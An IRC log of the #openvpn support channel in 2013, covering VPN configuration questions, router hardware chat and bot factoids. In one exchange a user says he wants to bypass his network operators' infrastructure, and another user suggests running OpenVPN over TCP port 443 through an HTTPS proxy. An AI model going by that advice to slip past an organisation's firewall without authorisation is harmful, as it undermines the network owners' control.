13:20 < Aketzu> .. how to make it work with openvpn :)
13:20 <@krzee> Aketzu, sounds like a good question for sierra wireless or their manual
13:21 <@krzee> ild help if i happened to have a ls300 laying around so i could have a clue
13:21 < Aketzu> I just said everything their manual contains
13:21 <@krzee> hahaha that sucks dude
13:22 < Aketzu> 83.245.202.30:34282 TLS: Initial packet from [AF_INET]83.245.202.30:34282, sid=1a00916f 4ccbaec8
13:22 < Aketzu> 83.245.202.30:34282 TLS_ERROR: BIO read tls_read_plaintext error: error:140890C7:SSL routines:SSL3_GET_CLIENT_CERTIFICATE:peer did not return a certificate
13:22 < Aketzu> 83.245.202.30:34282 TLS Error: TLS object -> incoming plaintext read error
13:22 <@krzee> you able to pull out the config from the LS300?
13:22 <@krzee> or web only?
13:22 < Aketzu> web
13:22 <@krzee> haha sucks for you man
13:22 < Aketzu> yeah
13:22 <@krzee> if i were you ild go get a router that supports openwrt
13:23 <@krzee> i picked one up for $40 last week, it works PERFECT
13:23 < Aketzu> web ui has option to upload root+client cert but the manual says something only about root cert
13:23 <@krzee> routing 2 lans, 3 vpns, policy routing, ospf running over 2 vpns
13:23 <@krzee> for $40
13:23 <@krzee> so cheap i picked up a spare and configured it identically, if 1 dies the other is ready
13:24 < Aketzu> I'd like a perfect device that can do 3G, VPN, works with 24V and "never" requires restart
13:24 <@krzee> never is a strong word
13:24 <@krzee> :D
13:25 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:25 < Aketzu> when the boxes are 500km away you don't want to drive to just press restart :)
13:25 <@krzee> but ya sorry dude, i cant help with the ls300 "based on openvpn" stuff
13:25 < Aketzu> yeah
13:26 < Aketzu> just need to hack the device to get shell
13:26 <@krzee> yep that should help a lot
13:26 < Aketzu> and/or dump traffic and reverse engineer from that
13:26 < Aketzu> "oh joy"
13:26 < jzaw> Aketzu, you need a networked pdu and a route to it outside your vpn
13:26 < jzaw> then you can remote power cycle it
13:27 < jzaw> it = device youd rather not drive 500km to restart
13:27 < Aketzu> sure, can you do it for ~100e and with GSM network :)
13:27  * jzaw nods 
13:28 < Aketzu> we've used GSM relay that can be controlled with SMS... only bad thing that it also seems to get stuck every now and then
13:28 < Aketzu> so we need to reboot the reboot device
13:28 < Aketzu> (yo dawg)
13:28 < jzaw> or i bought a couple of apc ap7920    8 outlet for about £90 ea
13:28 <@krzee> lol
13:28 < jzaw> from ebay
13:29 <@krzee> jzaw, you recommend it?
13:29 < jzaw> so far so good
13:29 < jzaw> they seem to have two psu built in
13:29 < jzaw> no ipv6 though since they are older
13:29 <@krzee> i dont ipv6 anyways
13:29 < jzaw> but id say they are designed to be vvvv stable anyway
13:29  * jzaw likes ipv6 a lot
13:30 <@krzee> over $400 usd
13:30 < jzaw> i think apc still sell them new for about £400 !
13:30 < jzaw> aye new
13:30 < Aketzu> just needs SIM card slot (for my purposes)
13:30 < jzaw> but i got 2nd hand ones
13:30 <@krzee> haha wanna sell yours? :-p
13:30 < Aketzu> everything else works rock solid except 3G/GSM network related stuff
13:32 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
13:32 <@ecrist> muahaha,  $work ASN approved.  Our /22 is next, followed shortly by our /47 
13:32 <@krzee> booya!
13:32  * krzee reserved a /30
13:33 <@krzee> reserves*
13:33 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:35 < kisom> Aketzu: Don't bash GSM, it works just fine
13:35 < MorgyN> I'm nto a big fan of ipv6 because I can't remember the ips easily =P
13:35 < jzaw> MorgyN, thats what dns is for :P
13:35 <@krzee>  /bin/bash /dev/gsm     like that kisom?
13:35 <@ecrist> krzee: we'll be multi-homed over two 100M links.  I'm kind of excited
13:36 < MorgyN> "What's the ip of the dns server again? It's down"
13:36 <@krzee> ecrist, hell im still excited i got 10mbit to my house :D
13:36 < jzaw> besides ... 2001:0b7:7::b19:feed      is easy enough to remember :P
13:36 <@ecrist> AND we'll be on 1G to the local minneapolis exchange
13:36 < MorgyN> lol not for me =P
13:36 <@krzee> OOOO congrats ecrist!
13:37 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
13:37 < Aketzu> .. you've probably never heard of student houses in Otaniemi
13:37 < Aketzu> 1G network for free
13:37 < kisom> I prefer 4G
13:37 < kisom> ;)
13:38 < Poison> need help reinstalling openvpn centos6
13:38 < Poison> i am gettin an empty folder /etc/openvpn
13:38 <@krzee> Poison, put your config / files there
13:38 < nosuid> ecrist: Sniffing on my routers vpn interface reveals that it is indeed sending hmac replies through the external vpn and not from its own public ip
13:38 <@ecrist> Ah, Finland.  I should visit there some day
13:38 <@ecrist> I'm 50% finnish and 50% yugoslavian
13:38 < kisom> Finland?
13:38 < Poison> krzee, config files from?
13:38 < Aketzu> small world :)
13:39 < Poison> i got nothing from epel
13:39 <@krzee> Poison, configure your vpn and put the configs there
13:39 < Poison> should i wget from openvpn 2.3.2
13:39 <@krzee> openvpn doesnt come pre setup
13:39 <@krzee> what do you need?  easy-rsa?
13:39 < Poison> i did yum install openvpn
13:39 < Poison> where can i find the config files
13:39 <@krzee> yes, that installs openvpn, not your configs
13:40 < Poison> wget or there is a certain dir
13:40 <@krzee> you need to make your configs
13:40 <@krzee> !howto
13:40 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:40 < Poison> i see
13:40 < jzaw> MorgyN, http://www.tienhuis.nl/ipv6dict     ipv6 address generator ... pick your most memorable ones  and add your  prefix :)
13:40 <@vpnHelper> Title: IPv6 address words « TIENHUIS Networking (at www.tienhuis.nl)
13:41 < nosuid> And since my own client is connecting to my servers public ip X and hmac replies are being sent back through an external vpn and out through its public ip Z I'm having a bad day
13:44 <@EugeneKay> !beer
13:44 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
13:45 < kisom> !weed
13:51 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
13:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:54 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
13:59 -!- JAVACODER [~JAVACODER@2.190.44.160] has joined #openvpn
14:34 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
14:58 <@EugeneKay> !krzee
14:58 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
14:59 <@EugeneKay> ;-)
15:00 < rob0> !learn weed as see !krzee :)
15:00 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
15:00 < rob0> yeah yeah yeah
15:01 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
15:04 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 22.0/20130618035212]]
15:10 -!- mete- [~mete@mete.shell.la] has quit [Quit: .]
15:12 -!- mete [~mete@mete.shell.la] has joined #openvpn
15:22 -!- Denial [Denial@90.202.26.221] has quit []
15:22 -!- phishy [~textual@gw-outbound.broadinstitute.org] has joined #openvpn
15:24 -!- mattock is now known as mattock_afk
15:31 -!- phishy [~textual@gw-outbound.broadinstitute.org] has quit [Ping timeout: 245 seconds]
15:32 -!- phishy [~textual@gw-outbound.broadinstitute.org] has joined #openvpn
15:33 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
15:37 -!- phishy [~textual@gw-outbound.broadinstitute.org] has left #openvpn []
15:38 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Read error: Operation timed out]
15:40 -!- tp2 [~tp2@triton954.server4you.net] has joined #openvpn
15:40 < tp2> What is a propper check to see if the second tap adapter is installed on a windows 7 machine?
15:43 <@EugeneKay> ipconfig will list them on the cmd prompt
15:43 <@EugeneKay> I open up the Network Connections page in control panel
15:43 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
15:45 < tp2> tunnel adapter isatap = a installed tab by addtap.exe ?
15:45 < tp2> EugeneKay?
15:46 <@EugeneKay> I honestly don't know; I don't use it much
15:46 < tp2> I don't see the adapters in the network connections page since they are not being used yet
15:46 <@EugeneKay> If I wanted to argue with a command prompt I'd use linux on my laptop
15:47 < tp2> haha :p
15:49 < tp2> very helpful :)
15:51 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
15:54 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Quit: Bye, thanks for all the fish.]
15:54 < tp2> Anyone else here can help..?
15:56 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:06 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 264 seconds]
16:06 -!- JAVACODER [~JAVACODER@2.190.44.160] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
16:22 -!- tp2 [~tp2@triton954.server4you.net] has quit [Quit: Lost terminal]
16:25 -!- dr_Casper [~ircap@209-203-71-82.static.twtelecom.net] has joined #openvpn
16:25 < dr_Casper> hi guys..
16:37  * Casper points at dr_Casper 
16:37 < Casper> wannabe imposter? :D
16:41 -!- Muffins [~Nick@69.146.233.50] has quit [Read error: Connection reset by peer]
17:01 < dr_Casper> lol
17:01 < dr_Casper> we had this discussion before
17:01 < dr_Casper> oh no we didnt
17:01 < dr_Casper> but i have
17:01 < dr_Casper> every channel has a ghost :/
17:02 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 248 seconds]
17:11 <@EugeneKay> BOO MOTHERFUCKER
17:11 -!- TheSov [~TheSov@12.69.170.2] has joined #openvpn
17:21 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
17:25 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Client Quit]
17:26 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
17:28 -!- pmatulis [~peter@64.34.151.178] has joined #openvpn
17:42 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Operation timed out]
17:47 -!- verysoftoiletppr [~verysofto@unaffiliated/softtoiletpaper] has joined #openvpn
17:47 < verysoftoiletppr> sudo apt-get install openvpn
17:47 < verysoftoiletppr> nknown command 'openvpn'
17:47 < verysoftoiletppr> PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:.
17:47 < verysoftoiletppr> help
17:55 < dr_Casper> lol
17:57 < dr_Casper> hey guys i have a newbie question please.. I am behind a router that is controlled by network ops (i have no input on their way of doing business) . I have a private network with a public facing IP that gets my PC's to the internet.. we have about 17 sites like this (isolated) . if i wanted to unify my domains, i would need all this servers talking.. can i do this with openvpn if the only port i got to use is port 80 ?
17:58 < dr_Casper> (i assume port 80 is not being blocked because of http)
18:04 -!- trumee [~parul@93.186.144.251] has quit [Read error: Operation timed out]
18:09 -!- trumee [~parul@93.186.144.251] has joined #openvpn
18:09 -!- markthomas [~markthoma@ip72-223-109-105.ph.ph.cox.net] has joined #openvpn
18:18 <@krzee> dr_Casper, yes, if you can find an open port
18:18 <@krzee> however, if you have permission to do this, your network ops should accomidate
18:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:22 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 245 seconds]
18:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 276 seconds]
18:31 < dr_Casper> krzee .. what do u mean if i can find an open port
18:31 < dr_Casper> and i have no input on network ops which is why i'm trying to bypass their infrastructure
18:32 < dr_Casper> i have looked into using hamachi (logme-in ) which is software based, but i want to know if openvpn would be an option
18:34 < Dar1us> dr_Casper: openvpn can't do peer to peer networking
18:35 < Dar1us> dr_Casper: so all of your sites woud need to connect to a single server
18:43 -!- Poison [~Poison@202.88.87.179] has quit [Read error: Connection reset by peer]
18:50 -!- master_o1_master [~master_of@p4FF24C4E.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
18:52 -!- master_of_master [~master_of@p4FF249D1.dip0.t-ipconnect.de] has joined #openvpn
18:54 < markthomas> Hello, all.  Can someone here answer a "mode p2p" question?
18:54 < Dar1us> just ask, don't ask to ask
18:55 < markthomas> Very well.  When I configure Openvpn with mod
18:55 < markthomas> Sorry, another window interfered.
18:56 < markthomas> When I configure Openvpn with mode p2p, it allocates endpoints with private addresses. So, I wind up with 10.0.0.0/24 -> 192.168.1.2 -> 192.168.1.1 -> 10.0.1.0/24
18:56 < markthomas> When I ssh from 10.0.0.10 to 10.0.1.10, the address gets rewritten to 192.168.1.2
18:57 < markthomas> i.e. I log in and execute 'w' (Ubuntu on both ends), and it shows me logged in from 192.168.1.2
18:57 < markthomas> I have no iptables rules active yet.  I have no idea what's causing that.
19:00 < dr_Casper> Dar1us i don't mind doing it like that (all connecting to one site) .. can this be acomplished with my limitations?
19:00 < Dar1us> dr_Casper: I believe so, you can run openvpn in TCP mode and connect to t using a https proxy if that helps
19:01 < dr_Casper> i plan to start slow (connect 3 sites) and the se feasibility of it to present it to my supervisors to get a permanent solution in place ( it will cost them money)
19:01 < dr_Casper> gwad sorry about the typing
19:01 < Dar1us> although if your firewall only allows ouitgoing connections on port 80 and port 443 then you will need to tell the openvpn server to bind to port 443 (or 80)
19:02 < dr_Casper> i can then unify my domains using sites and services?
19:02 < Dar1us> markthomas: what interface is 10/24 on? what interface i 192.168.1/24 on?
19:02 < Dar1us> dr_Casper: well yes, but I think you will find scaling hard
19:02 < Dar1us> depends how much volume you have between sites
19:02 < markthomas> Dar1us: 10/24 is on eth1.  The 192.168.1/24 is allocated by the "ifconfig" line in the conf file
19:02 < dr_Casper> ah ok gotcha
19:03 < Dar1us> markthomas: then what you see is what is expected
19:03 < dr_Casper> well i just want to know the posibllities before i research implementation and dedicate the time to figure it all out
19:03 < Dar1us> markthomas: because the packet left the from machine through that interface it gets a from address of whatever that interface is
19:03 < dr_Casper> thank you
19:04 < Dar1us> dr_Casper: I suppose you could have a pair of openvpn between each pair of sites
19:04 < markthomas> Dar1us: but why the source rewrite?  in any routed network, it should be the originating address that is shown.
19:04 < Dar1us> dr_Casper: but for 18 sites that is a lot of openvpns on each machine (N * (N-1) / 2)
19:05 < Dar1us> markthomas: but each host is dual homed right?
19:05 < markthomas> Dar1us: each of the gateways is dual homed, and then the "external" interface gets that extra address.
19:06 < Dar1us> markthomas: maybe I am not understanding how your network is arranged
19:06 < markthomas> Dar1us: i.e. the tun address gets 192.168/24
19:06 < Dar1us> we need a whiteboard :(
19:06 < dr_Casper> well the thing is .. i dont even need the clients on each site to connect via vpn. all i really need talking is the servers talking
19:06 < dr_Casper> each server has about 300+ clients
19:07 < markthomas> Dar1us: eth1/LAN - 10.0.0.1/24.  eth0/WAN: (withheld).  tun: 192.168.1.2/24
19:10 < markthomas> Dar1us: http://pastebin.ubuntu.com/5905890/ server config
19:10 < markthomas> Dar1us: Sorry, mistyped the 192 addresses earlier, but you can figure that out
19:11 < Dar1us> yes
19:11 < Dar1us> so
19:13 < Dar1us> http://www.twiddla.com/1250663
19:13 <@vpnHelper> Title: New Twiddla Meeting (at www.twiddla.com)
19:13 < Dar1us> is that what your network looks like?
19:14 < markthomas> Dar1us: basically.
19:14 < Dar1us> so you are SSHing from PC1 to PC2?
19:14 < Dar1us> no other PCs involved?
19:15 < markthomas> Dar1us: The eth1 interfaces on these systems have other systems behind them, but I'm not sure if that's a factor here.
19:18 < Dar1us> markthomas: so you are SSHing from a PC behind PC1 or PC2?
19:18 < markthomas> Dar1us: The PCs behind PC1 have to be able to access the PCs behind PC2.
19:19 < markthomas> Dar1us: which works fine.  But because the addresses are being rewritten, certain auditing/control mechanisms may be impaired.
19:22 < Dar1us> yes I am trying to determine your problem though
19:22 < Dar1us> are you SSHing from the routers (PC1/PC2 in teh diag) to each other? or to/from another machine?
19:24 < markthomas> Dar1us: In my first test, I went from one of the routers (PC1) to a system behind PC2.
19:25 < markthomas> Dar1us: in my second test, I believe I went from a PC behind the first router to a PC behind the second router.  I'll check.  But I am certain of what I did first.
19:25 < Dar1us> OK, then I too am surprised the address is not 10.xxx
19:27 < Dar1us> markthomas: I'd start by running a few tcpdumps on the tun ifaces and checkingw hat addresses show up
19:28 < Dar1us> I don't use linux as a router so I don't really have much idea about options which could cause what you are seeing though
19:32 < markthomas> Dar1us: Okay, I'll set up some more tests.  I just find it odd that NAT is apparently happening across the tun interface with no iptables rules at all.
19:33 < Dar1us> markthomas: yeah it does seem odd
19:33 < Dar1us> markthomas: gets pretty hairy when you have several RFC1918 subnets all on one system in my eperience
19:34 < markthomas> Dar1us: Really, there's only the one I've defined.  The other that's assigned to the tun interface has to be that way according to the Openvpn docs.
19:34 < Dar1us> I don't think openvpn cares what addresses you use
19:36 < markthomas> Dar1us: Yeah, in that case it does.  It has to be that way.  Looking for the docs.
19:37 < Dar1us> OK
19:37 < markthomas> Dar1us: I've looked at so many mode p2p docs and forum postings today I can't find it.
19:38 < Dar1us> I didn't think p2p mode was particularly special
19:38 < Dar1us> it just short circuited a openvpn -> kernel -> openvpn transition for each packet between peers
19:38 < markthomas> Dar1us: but seriously, what else would you use on the VPN endpoints?
19:39 < Dar1us> markthomas: welll you might not want it if you want client isolation
19:39 < Dar1us> but really it's just a performance feature (I believe)
19:39 < markthomas> Dar1us: eth0 has the "public" IP.  eth1 has the LAN IP.  And for the VPN endpoints established by OpenVPN, what else would you use?
19:40 < Dar1us> markthomas: you mean ".. instead of an RFC1918 address?"
19:40 < Dar1us> or?
19:40 < markthomas> Dar1us: right.
19:41 < Dar1us> markthomas: OK, yes you need an RFC1918 address, I just meant it doesn't care what particular one
19:41 < Dar1us> although I use 'real' IPs ioin my openvpn setup because I own some
19:41 < markthomas> Dar1us: you use them on tun0?
19:41 < Dar1us> markthomas: no..
19:42 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
19:43 < markthomas> Dar1us: Okay.  So, ultimately, I still have to figure out why the address is being rewritten when the packet crosses the tunnel.
19:43 < Dar1us> markthomas: yes.. I don't think it's openvpn doing that though
19:44 < markthomas> Dar1us: How is that possible?  There are no iptables rules active.  What else could be rewriting them?
19:44 < Dar1us> markthomas: I dunno :(
19:45 < Dar1us> like I said, no linux router eperience
19:47 < markthomas> Dar1us: I've got some.  I'm not aware of any other mechanism that could be doing it. If I ssh to external sites not over the tunnel, the addresses do not change.
19:47 < markthomas> Dar1us: by process of elimination, it appears to be openvpn.
19:49 < Dar1us> markthomas: ENOCLUE sorry :(
19:49 -!- raidz is now known as raidz_away
19:50 < markthomas> Dar1us: Thanks for your time, though.
20:23 -!- markthomas [~markthoma@ip72-223-109-105.ph.ph.cox.net] has quit [Remote host closed the connection]
20:34 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
20:40 -!- Poison [~Poison@210.23.85.2] has joined #openvpn
20:41 < Poison> anyone here that is using centos6?
20:48 <+pekster> "anyone" Probably. That's not a very specific (or useful) question
20:54 <@EugeneKay> !anyone
20:54 <@EugeneKay> !rocks
20:54 <@vpnHelper> "rocks" is Nobody around but us rocks! Please go ahead and ask your question, and be patient - somebody helpful will eventually perk up.
20:54 <@EugeneKay> I use Scientific Linux 6, which is substantially the same thing as CentOS / RHEL 6; but that's not a very useful answer as far as actually solving a problem.
20:57 < Poison> sorry
20:58 -!- Poison [~Poison@210.23.85.2] has left #openvpn ["Leaving"]
21:00 <@krzee> !download
21:00 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
21:00 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
21:24 -!- DeVito_ [d3vito@d3vito.de] has joined #openvpn
21:24 -!- DeVito [d3vito@d3vito.de] has quit [Read error: Operation timed out]
21:24 -!- derRichard [~derRichar@pippin.sigma-star.at] has quit [Read error: Operation timed out]
21:24 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Read error: Connection reset by peer]
21:24 -!- dooglus_ [~biufter@unaffiliated/dooglus] has quit [Read error: Operation timed out]
21:24 -!- derRichard [~derRichar@pippin.sigma-star.at] has joined #openvpn
21:24 -!- troj_ [~xxx@94.242.205.4] has quit [Read error: Operation timed out]
21:24 -!- dvl- [~dan@nyi.unixathome.org] has joined #openvpn
21:24 -!- dooglus [~biufter@rincevent.net] has joined #openvpn
21:24 -!- dooglus [~biufter@rincevent.net] has quit [Changing host]
21:24 -!- dooglus [~biufter@unaffiliated/dooglus] has joined #openvpn
21:25 -!- troj [~xxx@94.242.205.4] has joined #openvpn
21:41 -!- dvl- [~dan@nyi.unixathome.org] has quit [Changing host]
21:41 -!- dvl- [~dan@pdpc/supporter/active/dvl] has joined #openvpn
22:52 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
22:56 -!- eklo [~eklo@unaffiliated/eklo] has joined #openvpn
22:57 -!- eklo [~eklo@unaffiliated/eklo] has quit [Client Quit]
22:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:00 -!- krantz [~krantz@h-237-32.a199.priv.bahnhof.se] has quit [Quit: leaving]
23:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:02 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
23:03 -!- pi__ [~pi@cpe-24-210-20-161.columbus.res.rr.com] has quit [Ping timeout: 248 seconds]
23:04 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
23:04 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
23:07 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has joined #openvpn
23:07 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has quit [Client Quit]
23:09 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has joined #openvpn
23:09 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has quit [Client Quit]
23:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:13 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has joined #openvpn
23:13 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has quit []
23:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:14 -!- JAVACODER [~JAVACODER@2.190.40.183] has joined #openvpn
23:15 -!- verysoftoiletppr [~verysofto@unaffiliated/softtoiletpaper] has quit [Quit: verysoftoiletppr]
23:20 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
23:22 -!- max_ [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
23:25 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
23:27 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
23:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
23:44 -!- Casper [~Phantom@unaffiliated/thephantom] has quit [Read error: Connection reset by peer]
23:44 -!- Casper [~Phantom@unaffiliated/thephantom] has joined #openvpn
23:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:55 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has quit [Quit: Leaving]
--- Day changed Wed Jul 24 2013
00:07 -!- Casper [~Phantom@unaffiliated/thephantom] has left #openvpn ["Leaving"]
00:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:02 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
01:02 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
01:07 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:07 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:07 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:09 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
01:15 -!- Devastatr [~devas@177.18.198.66] has joined #openvpn
01:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 276 seconds]
01:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
01:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:36 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
01:38 -!- max_ [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
01:42 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Read error: Operation timed out]
01:55 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:03 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:03 <@krzee> !ssl-admin
02:03 <@vpnHelper> "ssl-admin" is (#1) if you use freebsd, it is in ports or (#2) svn co https://www.secure-computing.net/svn/trunk/ssl-admin to grab it from svn or (#3) A perl script for managing SSL certificates (being a CA). Makes a good replacement for easy-rsa
02:08 <@krzee> hey ecrist i have an update to push for ssl-admin but i totally forget how and lost my old notes on it when my laptop got jacked
02:08 <@krzee> it is just:         sed -i "s+wheel+root+" Makefile        in the linux block in ./configure
02:09 <@krzee> sed -i "s+wheel+root+g" Makefile  rather
02:09 -!- linux_user [~linux_use@69.244.181.23] has joined #openvpn
02:10 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:20 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
02:34 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has joined #openvpn
02:35 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
02:51 -!- linux_user [~linux_use@69.244.181.23] has quit [Quit: linux_user]
02:56 < jozko> !goal
02:56 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
02:56 < jozko> !help
02:56 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
02:57 < jozko> !openvpn
02:58 < jozko> !configs
02:58 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
03:20 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
03:25 -!- dr_casper_wirele [~ircap@209-203-71-82.static.twtelecom.net] has joined #openvpn
03:26 -!- ele__ [~maarten@pinky.elexer.com] has joined #openvpn
03:27 -!- goldkatze_ [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:27 -!- zampa_ [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
03:29 -!- Willis_ [Willis@173.234.237.131] has joined #openvpn
03:29 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
03:29 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
03:29 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
03:29 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:29 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 240 seconds]
03:29 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
03:29 -!- dr_Casper [~ircap@209-203-71-82.static.twtelecom.net] has quit [Ping timeout: 240 seconds]
03:29 -!- ele_ [~maarten@pinky.elexer.com] has quit [Ping timeout: 240 seconds]
03:29 -!- zampa [zampa@luda/zampa] has quit [Ping timeout: 240 seconds]
03:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
03:29 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 240 seconds]
03:29 -!- sitaktif [~sitaktif@kollok.org] has quit [Ping timeout: 240 seconds]
03:30 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:30 -!- sitaktif1 [~sitaktif@kollok.org] has joined #openvpn
03:33 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
03:41 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
03:41 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:54 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:57 -!- JAVACODER [~JAVACODER@2.190.40.183] has left #openvpn ["JAVACODER"]
04:00 < xTz> !tls-server
04:00 < xTz> !tls
